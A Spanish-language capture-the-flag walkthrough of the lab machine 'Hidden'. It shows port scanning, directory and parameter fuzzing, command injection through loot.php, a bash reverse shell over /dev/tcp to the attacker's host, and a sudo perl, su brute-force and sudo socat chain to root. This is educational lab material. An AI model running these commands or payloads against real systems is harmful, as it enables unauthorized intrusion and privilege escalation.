084 - Hidden - wh01s17

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.27
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.27
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-25 22:14 -04
Nmap scan report for 192.168.1.27
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b8:10:9f:60:e6:2b:62:cb:3a:8c:8c:60:4b:1d:99:b9 (RSA)
|   256 64:b5:b8:e6:0f:79:23:4d:4a:c0:9b:0f:a7:75:67:c9 (ECDSA)
|_  256 d1:11:e4:07:8a:fe:06:72:64:62:28:ca:e3:29:7b:a0 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Level 1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.23 seconds

El sitio muestra una imagen cifrada y un comentario con un formato de pista:

<body>
  <h1><center>Welcome to level 1</center></h1>
  <center><img src="decodethis_pls.png" /></center>
</body>
<!-- format xxx.xxxxxx.xxx -->

Decodificamos la imagen como cifrado Rosacruz (Rosicrucian/pigpen):

SYSHIDDENHMV

Aplicando el formato xxx.xxxxxx.xxx, agregamos sys.hidden.hmv al /etc/hosts y enumeramos:

❯ gobuster dir -u 'http://sys.hidden.hmv' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/members              (Status: 200) [Size: 954]
/users                (Status: 200) [Size: 939]
/weapon               (Status: 200) [Size: 0]
...

❯ gobuster dir -u 'http://sys.hidden.hmv/weapon' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/loot.php             (Status: 200) [Size: 0]
...

Fuzzeamos el parámetro de loot.php y damos con hack, que ejecuta comandos:

❯ ffuf -u 'http://sys.hidden.hmv/weapon/loot.php?FUZZ=ls' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -fs 0
...
hack                    [Status: 200, Size: 20, Words: 1, Lines: 3, Duration: 49ms]
...

❯ curl 'http://sys.hidden.hmv/weapon/loot.php?hack=whoami'
www-data

Lanzamos una reverse shell:

http://sys.hidden.hmv/weapon/loot.php?hack=bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.27:40816.
bash: cannot set terminal process group (439): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hidden:/var/www/hidden/weapon$

La escalada es una cadena de usuarios. Primero, www-data puede ejecutar perl como toreto:

www-data@hidden:/$ sudo -l
...
User www-data may run the following commands on hidden:
    (toreto) NOPASSWD: /usr/bin/perl

www-data@hidden:/home$ sudo -u toreto perl -e 'exec "/bin/bash"'
toreto@hidden:/home$

Para movernos a atenea, en su .hidden hay un wordlist; hacemos fuerza bruta con su-bruteforce:

toreto@hidden:/tmp$ ./suBF.sh -u atenea -w atenea.txt
  [+] Bruteforcing atenea...
  You can login as atenea using password: sys8423hmv
  Wordlist exhausted

toreto@hidden:/tmp$ su atenea
Password: sys8423hmv
atenea@hidden:/tmp$

Obtenemos la primera flag. Finalmente, atenea puede ejecutar socat como root:

atenea@hidden:~$ sudo -l
...
User atenea may run the following commands on hidden:
    (root) NOPASSWD: /usr/bin/socat

atenea@hidden:~$ sudo socat stdin exec:/bin/bash
whoami
root

Obtenemos nuestra flag.

Fin.